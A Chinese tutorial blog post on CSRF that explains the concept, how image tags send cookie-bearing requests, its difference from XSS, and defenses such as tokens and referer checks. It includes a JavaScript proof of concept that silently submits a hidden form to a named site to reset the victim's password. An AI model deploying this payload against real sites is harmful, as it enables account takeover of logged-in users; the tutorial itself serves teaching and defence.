• 3、CSRF漏洞


    CSRF跨站请求伪造

    3.1概念:

    挟制用户在当前已登录的web应用程序上执行非本意操作的攻击方法。(攻击者盗用用户在某网站的身份,以用户身份发送恶意请求)

    3.2原理:

          简单身份验证只能保证前请求发自用户的浏览器,不能保证请求本身是用户自愿发出的。

    HTML中可自动发送HTTP GET请求的标签:img、ifream、src、link

    如img标签,浏览器渲染时,并不知道标签中src属性的值是否真的为图片,会根据src中的链接,发起一个HTTP GET请求,携带当前浏览器在目标网站上的凭证(cookie),获取返回结果以图片形式渲染

    完成一次CSRF攻击,受害者需要完成的两个步骤:

          1、登录信任网站,并在本地生成cookie

          2、不退出情况下,访问危险网站

          CSRF分类:GET类和POST类

          CSRF与XSS信任角度区别:

          XSS:利用用户对网站的信任

          CSRF:利用站点对已经身份认证的信任

       一般都存在于一些增删改的功能点上

     

    JS:POC
    <script type="text/javascript"> // 构造form表单 var frm = document.createElement('form'); frm.action = 'https://saas.jingyingba.com/do/'; frm.method = 'post'; frm.target = 'iframe'; // 设置新的密码 var i1 = document.createElement('input'); i1.name = 'question'; i1.value = 'RenewPWD'; var i2 = document.createElement('input'); i2.name = 'pwd'; i2.value = 'rmb521'; // 把input放到表单里 frm.appendChild(i1); frm.appendChild(i2); // 新建 框架,让表单去框架里跳转 iframe var ifr = document.createElement('iframe'); ifr.name = 'iframe'; // 把表单添加到head里 隐藏 document.head.appendChild(frm); document.head.appendChild(ifr); frm.submit(); //提交表单 去修改密码 </script>

    3.3 CSRF防御:

          关键操作增加验证码(如支付密码)

          验证HTTP referer字段

          使用token

  • 相关阅读:
    Django-ORM和MySQL事务及三大范式介绍
    django-视图层与模板层
    django初步--+urls解析
    django前戏
    python web开发中跨域问题的解决思路
    MySQL显示ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)解决方法
    xpath
    HTTP请求方法
    JavaScript 对象
    JavaScript 关键字
  • 原文地址:https://www.cnblogs.com/guike/p/11187131.html
Copyright © 2020-2023  润新知